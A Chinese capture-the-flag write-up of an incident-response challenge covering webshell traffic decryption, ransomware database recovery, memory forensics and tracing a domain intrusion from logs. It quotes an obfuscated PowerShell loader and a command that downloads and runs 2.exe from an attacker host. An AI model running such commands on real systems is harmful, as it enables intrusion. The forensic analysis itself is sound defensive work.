2024 第一届 Solar 应急响应挑战赛
签到
签到(邮件头溯源)

根据邮件头信息,邮件的发件顺序可以从最早的 Received 头部向后推断,首先是最初的邮件来源,依次通过多个邮件服务器转发。具体顺序如下:
- mail.solar.sec
- mail.da4s8gag.com
- newxmmxszc6-1.qq.com
所以,flag的结果为
1 | flag{mail.solar.sec|mail.da4s8gag.com|newxmmxszc6-1.qq.com} |
日志流量
日志流量-1(WebShell 查杀)

查看流量包发现有对 b.jsp 的 POST 请求

手动查看 Tomcat 日志 localhost_access_log,这个里面会记录请求时间、资源、状态码
找到访问的路径

但是访问路径没有找到 WebShell,对应了题目说的疑似删除了 WebShell(伏笔)

使用 D 盾扫描出后门

拿到后门文件
1 | E:\靶机\第一届solar应急响应比赛\【题目】小题+综合题\solar\1. 流量分析\web\apache-tomcat-9.0.96\work\Catalina\localhost\ROOT\org\apache\jsp |
访问路径拿到 WebShell,至此第一小题解出

1 | /* |
解密其中的 Base64 拿到 flag

日志流量-2(哥斯拉 JAVA_AES_RAW 木马解密)

哥斯拉流量特征:
- User-Agent(弱特征):在默认的情况下,如果不修改 User-Agent,User-Agent 会类似于 Java/1.8.0_121(具体什么版本取决于 JDK 环境版本)。但是哥斯拉支持自定义 HTTP 头部,这个默认特征是可以很容易去除的
- Accept(弱特征):Accept 为 text/html, image/gif, image/jpeg, *; q=.2, /; q=.2
- Cookie (强特征):在请求包的Cookie中有一个非常致命的特征,最后的分号
- 响应三次(强特征):第一个请求会发送大量数据,该请求不含有任何 Cookie 信息,服务器响应报文不含任何数据,但是会设置 PHPSESSID,后续请求都会自动带上该 Cookie
- 哥斯拉加密方式(强特征):Base64 + AES + Gunzip
- Connection:会长时间为 keep-alive
追踪第一个请求的 HTTP 流发现没有 Cookie(HTTP 流 3)

服务器响应并且设置了 Cookie

打开 wire.pcapng 流量包,过滤 HTTP 流,提取请求包中的 Data 段解密

解密时需要复制密文的十六进制,然后使用 AES 解密,最后使用 Gunzip() 解压缩,因为哥斯拉传输数据时使用 Gunzip 压缩。返回包不需要去掉前后的 16 位

在 7224 找到读取 flag 的痕迹

查看响应拿到 flag

日志流量-3(哥斯拉 JAVA_AES_RAW 木马解密)

在流 6 发现一个较大的文件

解密发现是 PDF,保存

打开拿到 flag

数据库
数据库-1(新用户创建的事件 ID)

虚拟机密码是 Password@123,查看安全日志找事件 ID 为 4720 的事件,注意时间就行

数据库-2(后台进程找恶意文件)

一眼过去只有它不正常

右键打开文件所在位置拿到文件名

数据库-3(Netstat 找外联 IP)

直接 netstat -ano 找到
(注意:提交时要写 203.107.45.167,这是当时比赛的外联 IP)

当然你去翻 config.json 也能找到对应的域名

解析后拿到 IP 也行

数据库-4(D-Recovery SQL Server 修复数据库)

数据库文件被勒索软件加密了,搜索发现是 lockbit 家族

使用数据库修复工具 D-Recovery SQL Server 进行修复
由于加密损坏了表结构,因此首先需要准备一个表结构一致的 mdf 作为参照 mdf(官方附件中有)
通过 Everything 搜索其对应的关键字找到加密文件

先点击左上角打开我们的加密文件

参照 MDF 文件选择我们官方附件里的,点击开始恢复

恢复成功

依次恢复找到 flag

数据库-5(PowerShell 日志分析)

翻日志找到可疑操作

发现有使用 Base64 解码
1 | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -w hidden -c &([scriptblock]::create((New-Object System.IO.StreamReader(New-Object System.IO.Compression.GzipStream((New-Object System.IO.MemoryStream(,[System.Convert]::FromBase64String((('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{0}')-f'A','f','M')))),[System.IO.Compression.CompressionMode]::Decompress))).ReadToEnd())) |
解密后点击小魔棒识别

发现是 Gzip

添加 Gunzip 拿到源码

发现还使用了一次 Base64 编码
1 | function tWk { |
继续解码识别出来了

最后添加一个 MD5 即可

内存取证
内存取证-1(windows.netscan 找外联 IP)

RDP 一般开放在 3389 端口,直接查看 windows.netscan 就行
1 | vol -f '/home/kali/SERVER-2008-20241220-162057.raw' windows.netscan |

内存取证-2(cmdscan 查看历史命令)

这里只能用 vol2 才能查出来
1 | volatility_2.6_win64_standalone.exe -f SERVER-2008-20241220-162057.raw --profile=Win7SP1x64 cmdscan |

内存取证-3(windows.filescan 查找文件)

执行 windows.cmdline 命令发现使用记事本开了一个文件

扫描文件
1 | vol -f '/home/kali/SERVER-2008-20241220-162057.raw' windows.filescan | grep "pass.txt" |

dump 出来
1 | vol -f '/home/kali/SERVER-2008-20241220-162057.raw' windows.dumpfiles --physaddr 0x7e4cedd0 |

查看拿到密码

内存取证-4(windows.filescan 查找文件)

先找到日志文件的位置,选择第二个
1 | vol -f '/home/kali/SERVER-2008-20241220-162057.raw' windows.filescan | grep "Security.evtx" |

找到新创建的用户

内存取证-5(远程登录成功的事件 ID)

接着上一个文件看 ID 为 4624 的就行

内存取证-6(hashdump 账号密码哈希值)

直接使用 vol2 插件 hashdump 即可
1 | volatility_2.6_win64_standalone.exe -f SERVER-2008-20241220-162057.raw --profile=Win7SP1x64 hashdump |

综合应急
综合应急(域渗透攻击链溯源)
攻击链如下

先去找 MSSQL 弱口令登录,以下日志均为 sql01
查看 sql01 的 Windows 事件日志的应用程序日志文件 Application.evtx
| 事件ID | 含义与说明 | 客户端信息示例 |
|---|---|---|
| 18454 | 登录成功:用户使用 SQL Server 身份验证(如 sa 账户)成功登录 | [客户端: 10.0.100.85] |
| 18453 | 登录成功:用户使用 Windows 身份验证成功登录 | <local machine> |
| 18456 | 登录失败:例如密码错误或服务器仅配置了 Windows 身份验证 | 192.168.159.1 |
| 18452 | 登录失败:通常因为服务器身份验证模式配置问题,例如在”仅 Windows”模式下尝试使用 SQL Server 账户登录 | 192.168.159.1 |
在 2024/12/18 9:01:40 找到登录日志,确定了攻击的起始时间

接下来去找 Sysmon 日志,它记录以下事件 ID
| 事件ID | 事件名称 | 记录内容 | 安全价值 |
|---|---|---|---|
| 1 | 进程创建 | 新进程启动 | 检测恶意代码执行、可疑命令行 |
| 2 | 文件创建时间 | 文件时间戳变更 | 识别时间戳篡改(攻击者常用) |
| 3 | 网络连接 | TCP/UDP 网络连接 | 检测 C&C 通信、横向移动 |
| 5 | 进程终止 | 进程结束 | 监控进程生命周期 |
| 6 | 驱动加载 | 内核驱动加载 | 检测 Rootkit、恶意驱动 |
| 7 | 镜像加载 | DLL 加载 | 检测 DLL 注入、恶意模块 |
| 8 | 远程线程创建 | 跨进程线程创建 | 检测进程注入、代码注入 |
| 9 | RawAccessRead | 原始磁盘访问 | 检测 MBR 修改、磁盘扫描 |
| 10 | 进程访问 | 进程句柄请求 | 检测凭据窃取(如 LSASS 访问) |
| 11 | 文件创建 | 新文件创建 | 检测恶意文件投放 |
| 12-13 | 注册表事件 | 注册表增删改 | 检测持久化机制 |
| 15 | FileCreateStreamHash | 文件流创建 | 检测隐藏数据(Alternate Data Streams) |
| 17-18 | 管道事件 | 命名管道创建/连接 | 检测横向移动、IPC 通信 |
| 19-21 | WMI 事件 | WMI 活动监控 | 检测无文件攻击、持久化 |
在 2024/12/18 9:02:04 进程创建事件中找到执行的恶意命令
1 | "C:\Windows\System32\cmd.exe" /C powershell -c iwr -uri http://10.0.100.85:81/2.exe -o C:/windows/tasks/2.exe |
| 命令组件 | 功能解析 | 安全风险分析 |
|---|---|---|
"C:\Windows\System32\cmd.exe" /C |
启动 CMD 执行命令后退出 | 使用合法系统程序作掩护 |
powershell -c |
执行 PowerShell 命令 | 攻击者常用工具,可无文件攻击 |
iwr |
Invoke-WebRequest 的别名 | PowerShell 的 HTTP 下载工具 |
-uri http://10.0.100.85:81/2.exe |
指定下载源 | 内网IP+非常用端口,高度可疑 |
-o C:/windows/tasks/2.exe |
输出到系统目录 | 系统目录写入,为持久化准备 |

在下一个进程访问事件可以看到访问了 clr.dll

然后加载了 clr.dll,镜像加载事件

继续往下看发现调用了木马
1 | "C:\Windows\System32\cmd.exe" /C C:/windows/tasks/2.exe |

然后查找事件 ID 为 17 的管道事件
| 事件 | 时间戳 | 管道名称 | 特点分析 |
|---|---|---|---|
| 事件1 | 01:02:15.385 |
\qoletm |
简短随机名,可能用于快速通信 |
| 事件2 | 01:02:15.385 |
\0029482318be6784 |
纯数字随机名,典型的恶意软件命名 |
| 事件3 | 01:02:15.400 |
\4ae13d6c2cd672ae\pipe\spoolss |
伪装成系统打印服务 |

在 2024/12/18 9:02:18 中提权成功

在注册表事件中发现有修改注册表的痕迹

随后访问了 lsass.exe 获取了哈希

2024/12/18 9:03:27 使用 sql01 账户通过 WMI 连接服务器

2024/12/18 9:03:28 网络连接事件中连接到了 10.0.10.40 主机

2024/12/18 9:03:54 随后创建了账号密码

2024/12/18 9:04:12 将账号添加到管理员组提权

进行了 DNS 查询

2024/12/18 9:11:15 修改 administrator 密码

| 登录类型 (Logon Type) | 含义 | 常见场景 |
|---|---|---|
| 2 | 交互式登录 | 在本地控制台登录,或者通过 RDP 远程桌面登录 |
| 3 | 网络登录 | 通过网络共享访问文件、通过 WMI/PsExec 执行命令等 |
| 4 | 批处理登录 | 通过计划任务执行的脚本或程序 |
| 5 | 服务登录 | 服务控制管理器启动服务 |
| 7 | 解锁 | 解锁已锁定的屏幕 |
| 8 | 网络明文登录 | 类似类型 3,但凭据以明文传输 |
| 9 | 新凭据 | 使用 RunAs 命令在同一登录会话中切换账户 |
| 10 | 远程交互式登录 | RDP 登录的明确标识 (在较新版本的 Windows Server,如 2012 R2 及之后) |
| 11 | 缓存交互式登录 | 在无法联系域控制器时,使用缓存的凭据登录 |
在 Security 日志中发现修改账号密码的痕迹于 2024/12/18 9:11:15

后续发现登录成功于 2024/12/18 9:11:24,登录类型是 3

4624 登录判断技巧:源网络地址是否是 ::1 本地

查看防火墙日志文件发现在这个时间段规则被删除了
1 | Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx |

攻击者使用 sql01 账户登陆 sql02 数据库,之后执行命令下载木马并执行木马,提权后修改了 sql02 本地管理员administrator 密码**(拿下了 sql02)**
该日志是 sql02 的日志

以下日志均为 web01
在 web01 中的 Windows PowerShell 日志中发现被 RCE 下载了恶意文件
1 | powershell -c iwr -uri http://10.0.100.85:81/2.exe -o C:/windows/tasks/2.exe |

后续于 2024/12/18 9:22:26 被执行了

接下来去看 Microsoft-Windows-PowerShell/Operational 日志
它专门用于记录 PowerShell 引擎的详细运行状态和脚本执行细节,为系统管理员和安全分析师提供深度的可见性
2024/12/18 9:26:46.000 创建调用 PowerView.ps1

随后发现有创建管道
你可以把 命名管道 想象成一条 数据输送管:
- 管道:允许两个进程之间传输数据
- 命名:这条管道有一个唯一的名字(比如
\\.\pipe\MySecretPipe),其他进程只要知道这个名字,就能找到并连接它
简单比喻:
就像两个人用对讲机在特定频道上通话。频道号就是“管道名”,只要调到同一个频道,就能开始通信

同一时间在 Security Log 中发现登录日志,账户名为 iis

后续修改账户密码于 2024/12/18 9:59:44

2024/12/18 9:59:50 远程登录 web01,用户名是 Administrator

2024/12/18 10:12:14 关闭了防火墙于日志 Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx

2024/12/18 10:12:19 攻击者利用无约束委派请求票据

2024/12/18 10:13:04 获取票据后利用票据获取域内账户 hash 后
事件 ID 4648 尝试登录 10.0.10.43

登录 DC02$ 成功
以下为 dc02 的日志
2024/12/18 10:31:08 攻击者通过 winrm 使用 administrator 哈希登陆 dc02

2024/12/18 10:31:20 更改账户密码

2024/12/18 10:31:28 Kali 远程登录 DC02

2024/12/18 10:31:49~50 上传了两个文件于日志 Microsoft-Windows-Sysmon/Operational

2024/12/18 10:48:39 恶意加载了 DLL

在 Microsoft-Windows-Sysmon/Operational 日志中也能找到对应的痕迹

随后又访问了 lsass.exe

在 DC03 的日志中发现其他主机远程登录的日志

在 DC03 的日志 Microsoft-Windows-Sysmon/Operational 发现进程访问 333.exe

随后 10.0.11.6 与 10.0.11.8 建立连接
flag{C:\Users\Administrator\Desktop\333.exe}
